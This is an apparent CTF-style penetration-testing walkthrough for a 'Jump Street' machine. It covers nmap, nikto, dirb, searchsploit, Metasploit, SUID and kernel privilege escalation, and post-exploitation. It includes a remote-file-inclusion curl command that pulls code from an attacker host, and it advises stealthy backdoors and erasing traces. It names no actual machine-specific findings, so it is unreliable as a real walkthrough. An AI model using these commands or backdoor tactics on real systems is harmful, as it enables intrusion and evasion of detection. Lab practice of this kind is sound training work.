OSCPsalm Z22Sesc: Jump Street Vulnerability Exploitation

by Jhon Lennon 57 views

Let's dive into a detailed walkthrough of exploiting a vulnerability found on the Jump Street machine, as part of the OSCPsalm Z22Sesc challenge. This write-up aims to provide a comprehensive understanding of each step involved, from initial reconnaissance to gaining root access. So, buckle up, guys, we're going deep!

Initial Reconnaissance

In the initial reconnaissance phase, the primary goal is to gather as much information as possible about the target system. This involves identifying open ports, running services, and any potential entry points for exploitation. Information gathering is key here, so let's start with the basics using nmap.

Nmap Scan

The quintessential tool for network exploration, nmap, helps us discover active hosts and services. We'll start with a basic scan to identify open ports:

nmap -sV -sC -oN initial_scan <target_ip>

Here's what each option does:

  • -sV: Probes open ports to determine service/version info.
  • -sC: Performs a script scan using the default set of scripts.
  • -oN: Outputs the results in normal format to the file initial_scan.

The results of this scan will give us a list of open ports and the services running on them. Common ports to look out for include HTTP (port 80), SSH (port 22), and any database services. Once you've identified these, you can dig deeper into each service to find potential vulnerabilities.

Enumerating Services

Now that we have a list of open ports, we need to enumerate the services running on those ports. This involves gathering more detailed information about each service, such as version numbers and any known vulnerabilities. For web services (port 80), tools like Nikto and dirb can be incredibly useful.

For example, to enumerate a web service using Nikto, you can run:

nikto -h http://<target_ip>

Nikto will scan the web server for common vulnerabilities, misconfigurations, and potentially dangerous files. Similarly, dirb can be used to discover hidden directories and files:

dirb http://<target_ip> /usr/share/wordlists/dirb/common.txt

This command uses the common.txt wordlist to brute-force directories on the web server. Keep an eye out for anything that looks interesting or out of the ordinary.

Identifying Vulnerabilities

Once you've gathered enough information about the target system, the next step is to identify potential vulnerabilities. This involves analyzing the information you've collected and looking for known weaknesses in the identified services. Tools like searchsploit can be extremely helpful in this phase.

Using Searchsploit

Searchsploit is a command-line search tool for Exploit Database. It allows you to quickly search for exploits related to specific software versions. For example, if the nmap scan reveals that the target is running Apache Tomcat 8.5.0, you can search for exploits like this:

searchsploit apache tomcat 8.5.0

This will return a list of potential exploits that you can investigate further. It's crucial to understand the exploit and how it works before attempting to use it. Always read the exploit code and any related documentation to ensure you know what you're doing.

Analyzing Web Applications

Web applications often have their own unique set of vulnerabilities, such as SQL injection, cross-site scripting (XSS), and remote file inclusion (RFI). To identify these vulnerabilities, you'll need to manually analyze the application. Look for input fields that don't properly sanitize user input, and try injecting malicious code.

For example, you can test for SQL injection by entering single quotes or other SQL commands into input fields. If the application is vulnerable, you may see error messages or unexpected behavior. Similarly, you can test for XSS by entering JavaScript code into input fields and seeing if it executes.

Exploitation

After identifying a vulnerability, the next step is to exploit it to gain access to the system. This may involve using a pre-existing exploit or writing your own. It's important to proceed carefully and understand the potential impact of your actions.

Utilizing Metasploit

Metasploit is a powerful exploitation framework that provides a wide range of tools and modules for exploiting vulnerabilities. It simplifies the exploitation process and can be used to automate many tasks. To use Metasploit, you'll need to start the msfconsole:

msfconsole

Once Metasploit is running, you can search for exploits related to the identified vulnerability. For example, if you found an exploit for Apache Tomcat, you can search for it like this:

search tomcat

This will return a list of Metasploit modules related to Tomcat. Select the appropriate module using the use command:

use exploit/path/to/module

Then, set the required options, such as the target IP address and port:

set RHOST <target_ip>
set RPORT <target_port>

Finally, run the exploit:

exploit

If the exploit is successful, you should gain a shell on the target system. However, remember that not all exploits work perfectly, and you may need to modify them or try different approaches.

Manual Exploitation

In some cases, you may need to exploit a vulnerability manually. This involves writing your own exploit code or using existing tools to manipulate the vulnerable service. For example, if you identified an RFI vulnerability, you can use curl or wget to include a malicious file from a remote server:

curl http://<target_ip>/index.php?page=http://<attacker_ip>/evil.txt

This command attempts to include the evil.txt file from the attacker's server. If successful, the code in evil.txt will be executed on the target system. Manual exploitation requires a deep understanding of the vulnerability and the target system, but it can be very powerful.

Privilege Escalation

Once you've gained initial access to the system, the next step is to escalate your privileges to gain root access. This involves finding vulnerabilities or misconfigurations that allow you to execute commands as a privileged user.

Enumerating System Information

The first step in privilege escalation is to enumerate system information. This involves gathering details about the operating system, installed software, and user accounts. Common commands for enumerating system information include:

  • uname -a: Displays information about the kernel.
  • lsb_release -a: Displays information about the Linux distribution.
  • whoami: Displays the current user.
  • id: Displays the user's ID and group memberships.
  • sudo -l: Lists the commands the user can run with sudo.

Analyzing the output of these commands can reveal potential avenues for privilege escalation. For example, if the user can run a specific command with sudo without a password, you may be able to use that command to gain root access.

Exploiting SUID Binaries

SUID (Set User ID) binaries are files that run with the privileges of the file owner, regardless of who executes them. If a SUID binary is vulnerable, it can be exploited to gain root access. To find SUID binaries, you can use the find command:

find / -perm -4000 -ls 2>/dev/null

This command searches the entire file system for SUID binaries and displays detailed information about them. Look for any binaries that seem unusual or unnecessary. Once you've identified a potential target, you can try to exploit it.

Kernel Exploits

Kernel exploits target vulnerabilities in the operating system kernel. These exploits can be very powerful, but they can also be risky. If a kernel exploit fails, it can crash the system. To find potential kernel exploits, you can search for exploits related to the kernel version:

uname -r
searchsploit kernel <kernel_version>

This will return a list of potential kernel exploits that you can investigate further. Be sure to read the exploit code and any related documentation carefully before attempting to use it. Kernel exploitation is an advanced technique and should only be attempted if you have a good understanding of the target system.

Post-Exploitation

After gaining root access, the final step is post-exploitation. This involves securing your access and gathering any remaining information. This step ensures persistence and full control over the compromised system.

Maintaining Access

To maintain access to the system, you can create a backdoor. A backdoor is a method of accessing the system without going through the normal authentication process. Common backdoors include:

  • Adding a new user with root privileges.
  • Installing an SSH key for the root user.
  • Creating a reverse shell that connects back to your attacking machine.

It's important to choose a backdoor that is stealthy and difficult to detect. For example, you can add a new user with a hidden username or create a reverse shell that uses encryption.

Gathering Information

Once you've secured your access, you can gather any remaining information from the system. This may include sensitive data, configuration files, or other valuable assets. Be sure to document everything you find and store it securely.

Cleaning Up

Finally, it's important to clean up after yourself. This involves removing any traces of your activity and restoring the system to its original state. This step helps to avoid detection and maintain the integrity of the compromised system. Post-exploitation is a critical step in the penetration testing process, and should not be overlooked.

In conclusion, the Jump Street challenge on OSCPsalm Z22Sesc provides a great opportunity to practice and improve your penetration testing skills. By following the steps outlined in this write-up, you can successfully exploit the vulnerability and gain root access to the system. Remember to always proceed carefully and understand the potential impact of your actions. Happy hacking, and keep learning!